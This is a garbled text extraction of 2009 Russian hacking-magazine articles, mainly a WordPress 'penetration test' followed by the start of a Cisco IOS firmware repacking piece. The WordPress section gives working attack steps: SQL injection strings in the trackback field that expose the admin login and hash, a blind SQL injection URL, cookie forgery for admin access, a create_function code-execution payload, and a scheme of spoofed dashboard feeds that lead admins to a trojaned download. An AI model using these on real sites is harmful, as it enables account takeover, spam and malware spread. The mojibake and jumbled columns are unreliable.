PCI, FISMA, GLBA или HIPAA) администратору предоставляется<br />
возможность получить шаблонный<br />
отчет, соответствующий документу, издаваемому<br />
аудитором. Я встречал такое в современных сканерах<br />
беспроводной безопасности, типа AirMagnet,<br />
а также дорогих коммерческих сканерах вроде ISS<br />
Security Scanner. Порой сканеры безопасности<br />
прибегают к использованию собственного разделения<br />
брешей по ID. Подобная практика применяется<br />
в Nessus, который таки сменил лицензию на<br />
полукоммерческую.<br />
ОТДЕЛЬНЫЕ КЛАССИФИКАЦИИ<br />
Подчас в Сети можно заметить абсолютно<br />
самопальные классификации, вроде Common<br />
Criteria Web Application Security Scoring<br />
(CCWAPSS) 1.1. Естественно, большого веса<br />
такая система не имеет, потому что составляться<br />
она должна реальными экспертами, которые<br />
понимают суть проблемы.<br />
CVE: ISS, BID, Secunia, SecurityTracker, OSVDB<br />
BID: CVE, Bugtraq, ISS, Secunia, SecurityTracker, OSVDB<br />
ISS: CVE, BID, Secunia, SecurityTracker, OSVDB<br />
Secunia: CVE, OSVDB<br />
SecurityTracker: CVE, OSVDB, Nessus<br />
Nessus: CVE, BID, OSVDB<br />
OSVDB: CVE, BID, Secunia, SecurityTracker, ISS, Nessus, Snort<br />
XÀÊÅÐ 04 /124/ 09<br />
Список «междоусобной» совместимости<br />
систем классификаций<br />
ТАК ЛИ ОНО ВСЕ ВАЖНО?<br />
Безусловно, к делу следует подходить без фанатизма.<br />
В первую очередь, подобные системы<br />
классификации нацелены на экспертное звено<br />
либо специалистов, которые заботятся о своевременном<br />
устранении брешей. Но, на мой<br />
взгляд, каждый уважающий себя хакер должен<br />
знать и понимать общепринятые классификации<br />
уязвимостей, разбираться в метриках и<br />
их векторах, чтобы четко и ясно представлять<br />
формулу оценки всех недавно взломанных им<br />
ресурсов. z<br />
051
взлом<br />
АНДРЕЙ «SKVZ» КОМАРОВ<br />
/ KOMAROV@ITDEFENCE.RU /<br />
WordPress:<br />
ТЕСТ<br />
НА ПРОНИКНОВЕНИЕ<br />
ПОЛНЫЙ АНАЛИЗ МАЛОИЗВЕСТНЫХ УЯЗВИМОСТЕЙ РАСКРУЧЕННОГО ДВИЖКА<br />
WorldPress— áåç ïðåóâåëè÷åíèÿ, ñàìûé ïîïóëÿðíûé äâèæîê âî âñåõ «èíòåðíåòàõ»<br />
(ïî çàïðîñó «Powered by WordPress» Ãóãë âûäàåò 74 400 000<br />
ðåçóëüòàòîâ!). Äâèæîê ïèñàëñÿ ñ ðàñ÷åòîì íà òî, ÷òîáû ëþáàÿ «äîìîõîçÿéêà»<br />
ñìîãëà èì âîñïîëüçîâàòüñÿ. Òàê è ïîëó÷èëîñü: çíàìåíèòàÿ «5-ìèíóòíàÿ<br />
óñòàíîâêà», ñðåäñòâà çàùèòû îò ñïàìà, âèçóàëüíûé ðåäàêòîð, seo-friendly<br />
ññûëêè è ìíîãèå äðóãèå ôè÷è ñäåëàëè ñâîå äåëî. Íî âñå ëè â ïîðÿäêå ó ýòîãî<br />
âåëèêîëåïèÿ ñ ýëåìåíòàðíîé áåçîïàñíîñòüþ?<br />
>> взлом<br />
В предыдущих номерах ][ я уже не раз поднимал тему безопасности<br />
WordPress. Вкратце вернемся к пройденному и систематизируем твои<br />
знания.<br />
Итак, последняя мало-мальски серьезная SQL-инъекция была найдена<br />
в 2.2.2 версии движка 28 июля уже далекого 2007 года неким Alexander<br />
Concha (не повезло человеку с фамилией). Не будем подробно на ней<br />
останавливаться, но если ты интересуешься историей, смотри ссылку на<br />
advisory в сносках.<br />
Идем далее. Во всех версиях движка, до 2.3.3 версии включительно,<br />
присутствует XSS-уязвимость в модуле фильтрации html kses (вспомнить<br />
о ней тебе поможет, например, январский номер журнала). Уязвимость<br />
можно было бы считать достаточно серьезной, если бы не одно<br />
но: админу надо нажать на ссылку с очень подозрительным адресом, что<br />
произойдет, только если админ — полный «чайник».<br />
Стоит упомянуть о нашумевшей в свое время уязвимости «Charset<br />
Remote SQL Injection» (версии
взлом<br />
WORDPRESS COMMENTS HTML SPAM VULNERABILITY<br />
Перед тобой первая неопубликованная уязвимость, которую я назвал<br />
«WordPress Comments Html Spam Vulnerability».<br />
Уязвимость затрагивает все версии движка, начиная от 1.5 и заканчивая<br />
последней (на момент написания статьи) 2.7.1.<br />
Заглянем в исходники вордпресса. Открывай файл ./wp-includes/<br />
comment.php и находи следующий код:<br />
function check_comment($author, $email, $url, $comment,<br />
$user_ip, $user_agent, $comment_type) {<br />
...<br />
if ( 'trackback' == $comment_type || 'pingback' ==<br />
$comment_type ) { // check if domain is in blogroll<br />
$uri = parse_url($url);<br />
$domain = $uri['host'];<br />
$uri = parse_url( get_option('home') );<br />
$home_domain = $uri['host'];<br />
if ( $wpdb->get_var($wpdb->prepare("SELECT<br />
link_id FROM $wpdb->links WHERE link_url LIKE (%s) LIMIT<br />
1", '%'.$domain.'%')) || $domain == $home_domain )<br />
return true;<br />
else<br />
return false;<br />
}<br />
...<br />
}<br />
}<br />
$str = mb_strcut( $str, 0, $count );<br />
// remove part of an entity at the end<br />
$str = preg_replace( '/&[^;\s]{0,6}$/’, '', $str );<br />
return $str;<br />
Казалось бы, передать ссылку здесь невозможно. Но нерадивые разработчики<br />
снова не учли несколько нюансов:<br />
1. strip_tags() успешно пропускает через себя теги вроде «» (то есть,<br />
содержащие пробелы);<br />
2. kses-фильтры успешно нормализуют html-теги, содержащие в себе<br />
эти самые пробелы.<br />
Исходя из этой информации, можно придумать конечный эксплойт:<br />
<br />
<br />
Òàéòë: <br />
URL:<br />
Comment:<br />
Êóïèòü ñëîíà< / a >< / b ><br />
В итоге, на нужном блоге мы получим зааппрувленный комментарий с<br />
выделенной жирной ссылкой «Купить слона». Единственное замечание:<br />
этот способ в SEO годен только для Yahoo, Яндекса, MSN, так как в коде<br />
ссылки добавляется rel=«nofollow», благодаря чему всемогущий Гугл ее<br />
не засчитывает.<br />
ПОДМЕНА RSS-ФИДОВ В DASHBOARD<br />
В конце прошлого года я нашел еще один занимательный баг в<br />
WordPress, который заключался в подмене RSS-лент на главной странице<br />
админки блога. Итак, в Dashboard содержатся следующие ленты новостей:<br />
новости плагинов, incoming links, новости devblog c wordpress.<br />
org и новости «Планеты WordPress». Начиная с версии 2.5, к каждому<br />
фиду прикреплена кнопочка «Edit», что позволяет администратору блога<br />
редактировать эти пресловутые фиды, заменяя их на любые свои. Но<br />
разработчики снова проморгали тот факт, что в функции редактирования<br />
фидов не существует никакой проверки прав (в который раз поражаюсь<br />
невнимательности девелоперов). Теперь смотри. Скопируй ленту<br />
новостей с девблога официального сайта вордпресса, затем вставь в<br />
нее в качестве первого поста объявление о security-патче (или просто<br />
новой версии) блога. В посте (естественно, в ссылке на скачку) укажи<br />
свой протрояненный дистрибутив вордпресса. Затем положи подготовленный<br />
фид на какой-нибудь сервер и используй этот html-код для<br />
подмены рсс-ленты девблога на свою:<br />
<br />
<br />
взлом<br />
Редактирование кукисов в Opera<br />
Генерация таблиц для admin takeover от Электа<br />
links<br />
• wordpress.org/<br />
download/releasearchive/<br />
— архив<br />
релизов WordPress.<br />
• milw0rm.com/<br />
exploits/4721 —<br />
Charset Remote<br />
SQL Injection<br />
Vulnerability.<br />
• buayacorp.com/<br />
files/wordpress/<br />
wordpress-sqlinjection-advisory.<br />
html — Remote<br />
SQL Injection in<br />
WordPress and<br />
WordPress MU.<br />
• securityfocus.<br />
com/bid/27669<br />
— WordPress<br />
'xmlrpc.php' Post<br />
Edit Unauthorized<br />
Access Vulnerability.<br />
• securityfocus.<br />
com/bid/28845<br />
— WordPress<br />
'cat' Parameter<br />
Directory Traversal<br />
Vulnerability.<br />
Эксплойт для баги с create_function<br />
value="Çàãîëîâîê ðññ" /><br />
<br />
<br />
query("UPDATE $wpdb->posts<br />
SET pinged = '$new' WHERE ID = $post_id");<br />
}<br />
Небольшие раскопки дают понять, что фильтра «add_ping»<br />
не существует в коде движка.<br />
Получается, что данные из первого запроса подставляются<br />
во второй запрос без какой-либо фильтрации! А теперь<br />
о способе эксплуатации данной уязвимости. Запасись<br />
терпением :). Чтобы использовать баг, тебе необходимо две<br />
инсталляции вордпресса:<br />
1. Все равно какой версии. Создай новый пост с любым тайтлом<br />
и содержимым:<br />
pingme<br />
Запомни адрес созданного поста (например, http://lamer/<br />
wp1/?p=2).<br />
2.Во втором блоге ветки 2.3.x-2.5.1 создай пост с любым содержанием<br />
и любым тайтлом, а в поле «Send trackbacks to:» пиши:<br />
test',post_title=(select/**/concat(user_<br />
login,':',user_pass)/**/from/**/wp_users/**/<br />
where/**/id=1),post_content_filtered =’blah<br />
054<br />
function add_ping($post_id, $uri) {<br />
// Add a URL to those already pung<br />
global $wpdb;<br />
$pung = $wpdb->get_var("SELECT pinged FROM<br />
Сохраняй пост.<br />
Снова заходи в его редактирование, но теперь редактируй<br />
само содержимое и вставля й туда ссылку в html-формате на<br />
пост из первого блога:<br />
XÀÊÅÐ 04 /124/ 09
взлом<br />
Parse_str sql-инъекция<br />
Эксплойты WordPress<br />
Здесь мы наблюдаем ту же ситуацию: переменная $to_ping подставляется<br />
в следующий запрос без какой-либо фильтрации.<br />
Использовать эту SQL-инъекцию очень просто.<br />
1. Создавай новый пост и в «Send trackbacks to:» вставляй следующее:<br />
pingme<br />
test','')),post_title=(select/**/concat(user_<br />
login,':',user_pass)/**/from/**/wp_users/**/where/**/<br />
id=1),post_content_filtered=TRIM(REPLACE(to_ping,'blah<br />
Готово! Сохраняйся, переходи на страницу нашего поста и наслаждайся<br />
НЕ МОГУ НЕ ПОДЕЛИТЬСЯ С<br />
ТОБОЙ ЕЩЕ ОДНОЙ ЗАБАВ-<br />
НОЙ SQL-ИНЪЕКЦИЕЙ, КОТО-<br />
РАЯ ПРИСУТСТВУЕТ ВО ВСЕХ<br />
ВЕРСИЯХ ДВИЖКА, НАЧИНАЯ<br />
С 2.3.X И ЗАКАНЧИВАЯ ПОС-<br />
ЛЕДНЕЙ НА ДАННЫЙ МОМЕНТ<br />
2.7.1.<br />
результатами выполнения скули в виде хеша и пароля админа.<br />
ЭТИ ЗАБАВНЫЕ ПИНГИ. ЧАСТЬ 2<br />
Вторая SQL-инъекция присутствует в механизме трэкбэков и выглядит уже не<br />
так ужасно. Открывай файл ./wp-includes/comment.php и находи в нем код:<br />
function do_trackbacks($post_id) {<br />
...<br />
$to_ping = get_to_ping($post_id);<br />
...<br />
if ( $to_ping ) {<br />
foreach ( (array) $to_ping as $tb_ping ) {<br />
$tb_ping = trim($tb_ping);<br />
if ( !in_array($tb_ping, $pinged) ) {<br />
trackback($tb_ping, $post_title,<br />
$excerpt, $post_id); $pinged[] = $tb_ping;<br />
} else {<br />
$wpdb->query(«UPDATE $wpdb->posts SET to_<br />
ping = TRIM(REPLACE(to_ping, '$tb_ping', '')) WHERE ID =<br />
'$post_id'");<br />
}<br />
}<br />
}<br />
}<br />
XÀÊÅÐ 04 /124/ 09<br />
2. Сохраняй пост, заходи в редактирование вновь созданного поста и<br />
опять вставляй туда тот же самый код;<br />
3. Сохраняйся и наблюдай в тайтле поста логин и пароль админа.<br />
КОВАРНЫЙ PARSE_STR<br />
Не могу не поделиться с тобой еще одной забавной SQL-инъекцией,<br />
которая присутствует во всех версиях движка, начиная с 2.3.x и<br />
заканчивая последней на данный момент 2.7.1. Для использования<br />
инъекции необходимы права «manage_links». Для теста снова возьмем<br />
WordPress 2.3.3. Итак, открывай ./wp-admin/link-manager.php.<br />
В этом файле присутствует следующий код:<br />
get_bookmarks( "category=$cat_id&hide_invisible=0&orde<br />
rby=$sqlorderby&hide_empty=0" );<br />
Начиная от этого кода, попробуем провести небольшой реверсинг:<br />
./wp-includes/bookmark.php<br />
function get_bookmarks($args = '') {<br />
...<br />
$r = wp_parse_args( $args, $defaults );<br />
extract( $r, EXTR_SKIP );<br />
...<br />
if ( ! empty($category_name) ) {<br />
if ( $category = get_term_by('name',<br />
$category_name, 'link_category') )<br />
$category = $category->term_id;<br />
}<br />
...<br />
./wp-includes/formatting.php<br />
function wp_parse_args( $args, $defaults = '' ) {<br />
if ( is_object($args) )<br />
$r = get_object_vars($args);<br />
else if ( is_array( $args ) )<br />
$r =& $args;<br />
else<br />
wp_parse_str( $args, $r );<br />
}<br />
if ( is_array( $defaults ) )<br />
return array_merge( $defaults, $r );<br />
else<br />
return $r;<br />
055
взлом<br />
Pingback sql-инъекция<br />
Magic SEO Toolz — мой сборник эксплойтов для WordPress<br />
WORDPRESS 2.5 COOKIE INTEGRITY<br />
PROTECTION VULNERABILITY<br />
Еще одна интереснейшая логическая уязвимость, которой уделили<br />
недостаточно внимания, — это «Cookie Integrity Protection<br />
Vulnerability». Ей подвержен WordPress 2.5. В официальном advisory<br />
насчет реальной эксплуатации баги сказано мало и не совсем понятно,<br />
— так что многие до сих пор у меня интересуются, как ее использовать.<br />
Суть баги достаточно проста: начиная с версии 2.5, в WordPress<br />
появилась новая система авторизации и хранения паролей, которую<br />
до конца еще не успели отладить. Для авторизации на блоге используется<br />
следующая схема формирования кукисов:<br />
function wp_parse_str( $string, &$array ) {<br />
}<br />
parse_str( $string, $array );<br />
if ( get_magic_quotes_gpc() )<br />
$array = stripslashes_deep( $array );<br />
$array = apply_filters( 'wp_parse_str', $array );<br />
./wp-includes/taxonomy.php<br />
function get_term_by($field, $value, $taxonomy, $output<br />
= OBJECT, $filter = 'raw') {<br />
...<br />
} else if ( 'name' == $field ) {<br />
// Assume already escaped<br />
$field = 't.name';<br />
...<br />
$term = $wpdb->get_row("SELECT t.*, tt.* FROM<br />
$wpdb->terms AS t INNER JOIN $wpdb->term_taxonomy<br />
AS tt ON t.term_id = tt.term_id WHERE tt.taxonomy =<br />
'$taxonomy' AND $field = '$value' LIMIT 1");<br />
На этот раз разработчики WordPress не учли, что:<br />
1. Функция parse_str проводит свои параметры через urldecode, а значит,<br />
какая-либо фильтрация идет лесом (плюс wp_parse_str дополнительно<br />
проводит наши данные через stripslashes);<br />
2. В get_bookmarks() мы сможем передать дополнительные параметры<br />
для parse_str с помощью амперсанда (%26 в urlencode).<br />
Отсюда, как логичный вывод, следует blind sql-инъекция:<br />
http://lamer.com/wp233/wp-admin/link-manager.php?cat_<br />
id=all%26category_name=0%2527+union+select+1,2,3,4,5,<br />
6,7,8,9,10+from+wp_users+where+1=1/*&order_by=order_<br />
url&action=Update+%C2%BB<br />
"wordpress_".COOKIEHASH = USERNAME . "|" . EXPIRY_TIME .<br />
"|" . MAC<br />
Расшифровка этих непонятных символов элементарна:<br />
COOKIEHASH — md5-хеш URL’а сайта, где установлен движок;<br />
USERNAME — логин авторизуемого юзера;<br />
EXPIRY_TIME — время истечения жизни кукисов;<br />
MAC — злостное сочетание из HMAC-кода, полученного на основе имени<br />
юзера и времени жизни кукисов, а также секретных ключей из конфига и<br />
БД. Если ты еще не понял, то скажу тебе, что проблема заключается как<br />
раз в способе конкатенации этих значений.<br />
А теперь внимание, — способ эксплуатации уязвимости:<br />
1. Регистрируй юзера с именем «admin99»;<br />
2. Авторизуйся на блоге;<br />
3. Отредактируй свои кукисы (в Опере: Инструменты Дополнительно<br />
Редактирование cookies) следующим образом:<br />
Áûëî:<br />
wordpress_[ÕÅØ] = admin99|âðåìÿ|MAC<br />
Ñòàëî:<br />
wordpress_[ÕÅØ] = admin|99âðåìÿ|MAC<br />
В итоге, с новыми кукисами ты благополучно авторизуешься с правами<br />
админа.<br />
WORDPRESS 2.7.X ADMIN REMOTE CODE EXECUTION EXPLOIT<br />
Выполнение произвольного кода в админке через create_function (баг<br />
нашел некий Ryat[puretot]) — еще одна интересная уязвимость, почему-то<br />
оставшаяся не только без внимания хакеров, но и без внимания<br />
разработчиков!<br />
Эксплойт к ней появился еще в версии 2.7, но в последнем вордпрессе<br />
(сейчас — 2.7.1) дыра по-прежнему не закрыта.<br />
Проведем небольшой аудит кода ./wp-admin/post.php:<br />
Условия здесь такие:<br />
а) 1=1 — ничего не отображается;<br />
б) 1=2 — отображается список ссылок блога.<br />
056<br />
if ( current_user_can('edit_post', $post_ID) ) {<br />
if ( $last = wp_check_post_lock( $post->ID ) ) {<br />
$last_user = get_userdata( $last );<br />
XÀÊÅÐ 04 /124/ 09
взлом<br />
Редактирование RSS-фида в WordPress 2.5-2.6.5<br />
Уязвимости WordPress<br />
Работа одного из приватных эксплойтов для 2.x ветки<br />
$last_user_name = $last_user ? $last_user-<br />
>display_name : __('Somebody');<br />
$message = sprintf( __( 'Warning: %s is currently<br />
editing this post' ), wp_specialchars( $last_user_name ) );<br />
$message = str_replace( "'", "\'", "$message" );<br />
add_action('admin_notices', create_function(<br />
'', "echo '$message';" ) );<br />
}<br />
}<br />
else { wp_set_post_lock( $post->ID );<br />
wp_enqueue_script('autosave');<br />
}<br />
Из анализа этого кода видно, что юзер с правами «edit_post» может<br />
провести инъекцию произвольного кода следующим образом:<br />
1. Сменить значение «display_name» на что-то вроде \’;phpinfo();\’. В<br />
результате переменная $message будет выглядеть так:<br />
Warning: \';phpinfo();\' is currently editing this post<br />
2. Когда $message пройдет stripslashes и попадет в create_function(),<br />
создастся функция с таким вот интересным телом:<br />
{<br />
echo '';phpinfo();'';<br />
}<br />
Как видишь, налицо банальный code exec. Ссылку на эксплойт ищи в<br />
сносках. Добавлю, что эксплойт предназначен для юзера с правами<br />
admin, но, немного подумав, ты сможешь исправить его для работы с<br />
правами author/editor.<br />
ИТОГИ<br />
Жесткие рамки статьи не позволяют рассказать обо всех найденных<br />
мной и другими людьми уязвимостях WordPress, но я этого и не хочу<br />
:). Описанные тут уязвимости — лишь верхушка айсберга. Существуют<br />
гораздо более серьезные и полезные баги во всех, даже самых<br />
последних, версиях движка. Эти баги не только стоят множество зеленых<br />
президентов, но и позволяют безбедно жить на поприще SEO.<br />
Поэтому могу лишь пожелать разработчикам вордпресса оставаться<br />
такими, какие они есть: невнимательными и забавными в своей<br />
простоте.z<br />
XÀÊÅÐ 04 /124/ 09<br />
057
взлом<br />
ЕВГЕНИЙ «SHADOS» ХАБАРОВ<br />
/ SHADOS@MAIL.RU/<br />
ИМПЛАНТАЦИЯ<br />
CISCO<br />
МОДИФИЦИРОВАНИЕ ПРОШИВКИ МАРШРУТИЗАТОРА<br />
Ïðèâåòñòâóþ, äîðîãîé äðóã! Ñåãîäíÿ ìû áóäåì äàðèòü âòîðóþ ìîëîäîñòü<br />
(à ìîæåò äàæå è æèçíü) ñòàðûì ìàðøðóòèçàòîðàì Cisco, ïðàêòè÷åñêè íå íàðóøàÿ<br />
ëèöåíçèîííîãî ñîãëàøåíèÿ. Ïóñòü ýòîò õàêåðñêèé ìåòîä äîñòàòî÷íî<br />
ïðîñò, íî îò ýòîãî îí íå ñòàíîâèòñÿ ìåíåå èíòåðåñíûì. Èìÿ åìó — «áèíàðíûé<br />
ïàò÷èíã».<br />
>> взлом<br />
Сразу к делу. Исходные данные следующие:<br />
старенькая кошка Cisco 2611 с двумя<br />
Ethernet-портами, 64 Мб RAM и 16 Мб на<br />
Flash. Это максимально возможные параметры,<br />
поддерживаемые платформой (читай<br />
— увеличить объем DRAM памяти и flash<br />
не получится из-за отсутствия в природе<br />
комплектующих больших объемов). Исходя<br />
из данных Cisco IOS Feature Navigator (tools.<br />
cisco.com/ITDIT/CFN/jsp/index.jsp), последней<br />
версией IOS для этого маршрутизатора<br />
является 12.3(26) — вполне естественно для<br />
столь старого продукта (End-of-Sale — апрель<br />
2003, End-of-Life — апрель 2008). Хочется<br />
получить только все самое последнее и новое,<br />
а все самое новое и вкусное доступно только в<br />
версии 12.4 (точнее 12.4T). Посыл номер два,<br />
или дополнительные исходные данные таковы:<br />
если внимательно следить за модельным<br />
рядом маршрутизаторов Cisco или просто<br />
ознакомиться с информацией о продуктах на<br />
официальном сайте, то можно обнаружить,<br />
что серия 2600 включает в себя, например,<br />
маршрутизаторы 2611XM. Отличается эта<br />
серия от своего предшественника незначительно:<br />
• Ìàêñèìàëüíûé îáúåì flash-ïàìÿòè<br />
óâåëè÷åí äî 48 MB (â 2611 — 16 MB)<br />
• Ìàêñèìàëüíûé îáúåì SDRAM-ïàìÿòè<br />
óâåëè÷åí äî 128 MB (â 2611 — 64 MB)<br />
• Èíòåãðèðîâàííûå 10/100 Fast<br />
Ethernet ïîðòû (â 2611 — 10 Ìáèò/c<br />
Ethernet)<br />
Для такой кошки Cisco IOS Feature Navigator<br />
сообщит, что последний IOS имеет версию<br />
12.4(23). Системные требования для IOS 12.4(21)<br />
с набором Enterprise Base или Advanced<br />
Security составляют 128 MB DRAM и 32 MB<br />
flash. Конечно, у нас нет 128 MB памяти, но<br />
попытка не пытка, да и пропускная способность<br />
портов у нас невысокая. Это позволяет сделать<br />
предположение, что ОС можно запустить на<br />
моем устройстве. Осталось превратить теорию<br />
в практику.<br />
EXTENDED, ИЛИ ЧТО ХОТИМ ПОЛУЧИТЬ<br />
Идея проста — загнать бинарный образ<br />
операционной системы Cisco IOS 12.4(21)<br />
с набором фьючерсов Enterprise Base на<br />
старенький маршрутизатор 2611 с исходными<br />
данными, представленными выше.<br />
В дальнейшем — использовать как тестовый<br />
стенд, ибо 10-мегабитные интерфейсы ограничивают<br />
его применение в дикой природе,<br />
или, как говорится, in production. С тем же<br />
успехом устройство может надежно служить<br />
файрволом корпоративной сети взамен<br />
какого-нибудь PIX (если, конечно, достаточно<br />
пропускной способности в 10 Мбит), но тогда<br />
встает вопрос — а есть ли такой функционал,<br />
который может потребоваться в IOS 12.4, но<br />
которого нет в 12.3? За подсказкой вновь<br />
отправляю к Cisco IOS Feature Navigator (tools.<br />
cisco.com/ITDIT/CFN/Dispatch). Утилита<br />
сравнения образов тебе в помощь, но ответ,<br />
скорее всего, — «нет». Отсюда вывод — не<br />
стоит меня корить в малой практичности, так<br />
как изначально статья в большей степени<br />
исследовательская (just for fun).<br />
У меня не возникло бы потребности писать<br />
статью, если бы не две небольших проблемы. О<br />
первой я уже упомянул — это объем DRAM памяти.<br />
К сожалению, я не повелитель паяльника<br />
и вольтметра, так что здесь поделать ничего не<br />
могу. Стоит только надеяться, что ОС не уйдет<br />
в core в самый ответственный момент из-за<br />
недостатка памяти. Вторая проблема, которая<br />
застигла меня врасплох — это размер самого<br />
образа IOS 12.4 и тот факт, что он не помещается<br />
на флеш объемом 16 МB. И неудивительно:<br />
файл образа — c2600-entbasek9-mz.124-9.<br />
T1.bin — который я взял для эксперимента,<br />
занимает 16,4 MB, то есть 17 257 364 байт.<br />
Даже если стереть флеш с опцией no-squeezereserve-space<br />
(командой erase /no-squeezereserve-space<br />
flash:), это нам не поможет.<br />
Хотя, в свое время, для образа c2600-ik9o3s3-<br />
mz.123-13.bin было решением проблемы (этот<br />
образ чуть меньше размера самой флеш, и для<br />
его загрузки требуется отформатировать ее с<br />
опцией, запрещающей резервировать свободное<br />
место).<br />
ЧТО ДЕЛАТЬ? БЕЖАТЬ!<br />
Решения здесь может быть два — либо грузиться<br />
с tftp, что не всегда удобно, либо же взломать<br />
образ так, чтобы размер стал меньше. Грубо<br />
говоря, перепаковать его (собственно, это и<br />
было отчасти сделано).<br />
Посылом номер три стал эмулятор Dynamips.<br />
Причем он тут? Именно он натолкнул меня на<br />
058<br />
XÀÊÅÐ 04 /124/ 09
взлом<br />
Advanced Enterprise Services<br />
Advanced IP + Enterprise + Cisco IOS Firewall<br />
Advanced IP Services<br />
IS-IS, MPLS, L2/L3 VPNs, IPv6***,<br />
Mobile Support, IP SLAs, etc.<br />
Enterprice Services<br />
IPv6***, IS-IS, IP SLAs, IBM Services,<br />
L3 Routed Protocols, etc.<br />
IP Services<br />
EIGRP, OSPF, BGP, GLBP, QoS, High Availability, NAT, nBAR,<br />
VRF-lite, Multicast, Virtual Switching System, etc.<br />
>>Типы IOS<br />
и их функционал<br />
** EIGRP-STUB in IP Base will be available on the Cisco Catalyst 4500 Series (Sup4)<br />
and the Cisco Catalyst 6500 Series.<br />
*** Starting with 12.2(33)SXI on the 6500 series, Cisco is offering packaging<br />
parity for IPv6 feature support for a technology will be packeged in the same<br />
feature set as IPv4. This parity will be expended to other platforms in the future.<br />
IP Base<br />
RIP, HSRP/VRRP, StackWise, GRE, EIGRP STUB**, WCCP, etc.<br />
LAN Base<br />
ACL, QoS, Enhanced 802.1x, AutoQoS, AutoSecure, etc.<br />
r - The image runs from ROM<br />
l - The image is relocatable<br />
z - The image is zip compressed<br />
x -The image is mzip compressed<br />
Layer 2 Base<br />
Basic Ethernet L2. 802, tx. 802. ts. 802.w.<br />
Ether Chanel, 802. 1d, Port Security. SmartPorts, SSH, etc.<br />
В нашем случае образ имеет тип mz — работает в памяти и запакован как<br />
раз в zip-архив. Убедиться в этом просто — большинство архиваторов<br />
(WinZIP, WinRAR, 7zip) с легкостью открывают его и распаковывают.<br />
мысль о перепаковке образа. Если взглянуть на раздел «How to use?» на<br />
официальном сайте проекта (www.ipflow.utc.fr/index.php/Cisco_7200_<br />
Simulator), то можно обнаружить, что эмулятор использует распакованные<br />
образы для ускорения загрузки:<br />
…<br />
<br />
To boot quickly, the preferred method is to decompress<br />
the IOS image with the «unzip» utility. It avoids to run<br />
the self-decompressing process in the emulator.<br />
chris@portchris2:~/dynamips-0.2.5$ unzip -p c7200-<br />
advipservicesk9-mz.124-9.T.bin > image.bin<br />
warning [c7200-advipservicesk9-mz.124-9.T.bin]: 27904<br />
extra bytes at beginning or within zipfile<br />
(attempting to process anyway)<br />
chris@portchris2:~/dynamips-0.2.5$ file image.bin<br />
image.bin: ELF 32-bit MSB executable, cisco 7200,<br />
version 1 (SYSV), statically linked, stripped<br />
You can ignore the warning, unzip has just skipped the<br />
self-decompressing code at the beginning of the image.<br />
Now, you can boot the imagå<br />
<br />
…<br />
УПАКОВКА<br />
Не мудрствуя лукаво, пытаемся перепаковать архив заново с максимально<br />
возможной степенью сжатия. Сразу же отмечаем, что используемый<br />
метод — deflate и изменить его не получится. Я использовал четыре<br />
архиватора, чтобы сравнить их и получил такой результат:<br />
7-zip 4.65 ñî ñëåäóþùèìè ïàðàìåòðàìè:<br />
Ôîðìàò àðõèâà — zip<br />
Óðîâåíü ñæàòèÿ — Óëüòðà<br />
Ìåòîä ñæàòèÿ — Deflate<br />
Ðàçìåð ñëîâàðÿ — 32ÊB<br />
Ðàçìåð ñëîâà — 258<br />
В результате был получен архив: 15,7 MB (16 489 764 bytes). WinZIP<br />
11.2 при использовании улучшенного метода Deflate выдал файл<br />
размером 16,0 MB (16 803 634 bytes). WinRAR 3.80, формат архива —<br />
zip с наилучшими параметрами сжатия: 16,3 MB (17131 353 bytes).<br />
PKZIP 9.00 от создателей формата совсем подвел, и по методу Deflate<br />
с максимальным сжатием произвел файл размером 16,3 MB (17 094<br />
474 bytes).<br />
Итогом моего небольшого сравнительного тестирования стал выбор для<br />
экспериментов архива, как нетрудно догадаться, созданного 7zip.<br />
Сигнатура ELF в HEX-редакторе<br />
Если есть запакованный образ, то можно попытаться использовать<br />
более оптимальные параметры сжатия, которые позволят поместить<br />
образ на флеш. Обращаю внимание на важную деталь — так как мы<br />
не собираемся переписывать самораспаковывающийся код, то есть<br />
заниматься дизассемблированием (да и ассемблер под 32-битные<br />
процессоры PowerPC я не знаю), то сам алгоритм сжатия менять мы не<br />
сможем. Самораспаковывающаяся часть просто не сможет распаковать<br />
архивы, сжатые другими методами. По поводу используемого в образе<br />
алгоритма сжатия — можно взглянуть вот сюда: Cisco IOS Configuration<br />
Fundamentals Configuration Guide, Release 12.4 — Loading and Managing<br />
System Images, пункт Image Naming Conventions. Поле «тип» в имени<br />
образа как раз отвечает за его характеристики:<br />
f - The image runs from flash memory<br />
m - The image runs from RAM<br />
XÀÊÅÐ 04 /124/ 09<br />
059
взлом<br />
Контрольная сумма<br />
Сообщение о нехватке памяти<br />
ТЕОРИЯ (ИНТЕГРАЦИИ НОВОГО АРХИВА)<br />
Далее требуется сей архив поместить вместо оригинального образа.<br />
Чтобы проделать это, нам понадобится шестнадцатеричный редактор<br />
типа WinHex, HT Editor или hview. Я предпочитаю WinHex, но понадобится<br />
еще и HT, чуть позже объясню почему.<br />
Как ты можешь видеть на скриншоте, бинарный образ IOS, скорее всего,<br />
есть не что иное, как исполняемый файл в формате ELF (Executable<br />
and Linkable Formate). ELF-формат является основным исполняемым<br />
файлом в *nix-like системах, поэтому неудивительно встретить его здесь.<br />
По ELF-формату существует четкая спецификация, последняя версия<br />
которой 1.2, однако для наших целей будет достаточно, например, заголовочного<br />
файла из состава libc — elf.h. Обычный бинарный ELF-файл<br />
представляет собой структуру вида:<br />
ELF Header<br />
Program Header Table (optional)<br />
Section 1<br />
Section 2<br />
…<br />
Section n<br />
Section Header Table<br />
Elf32_Half<br />
Elf32_Half<br />
Elf32_Half<br />
Elf32_Half<br />
Elf32_Half<br />
} Elf32_Ehdr;<br />
e_phentsize;<br />
e_phnum;<br />
e_shentsize;<br />
e_shnum;<br />
e_shstrndx;<br />
В нашем случае поле e_machine имеет значение 0x002b или 43, что<br />
соответствует процессору SPARC v9:<br />
#define EM_SPARCV9 43 /* SPARC v9 64-bit */<br />
Но нам известно, что маршрутизатор 2611 использует процессор<br />
Motorolla MPC860, значит, поле должно иметь значение 0x0014, — что<br />
соответствует:<br />
#define EM_PPC 20 /* PowerPC */<br />
Скорее всего, это простейшая защита от дизассемблирования образа.<br />
Нам это не сильно помешает. С помощью F6 открываем режим просмотра<br />
elf/header. Из него становятся известны следующие подробности:<br />
- elf header size 0x34<br />
- program header entry size 0x20<br />
- program header count 1<br />
- section header entry size 0x28<br />
- section header count 6<br />
Не углубляясь в описание (и дабы не повторяться), отправляю тебя к<br />
спецификации.<br />
Так как весь процесс исследования я проводил в MS Windows, то пришлось<br />
искать замену утилите readelf из состава binutils. Подходящим<br />
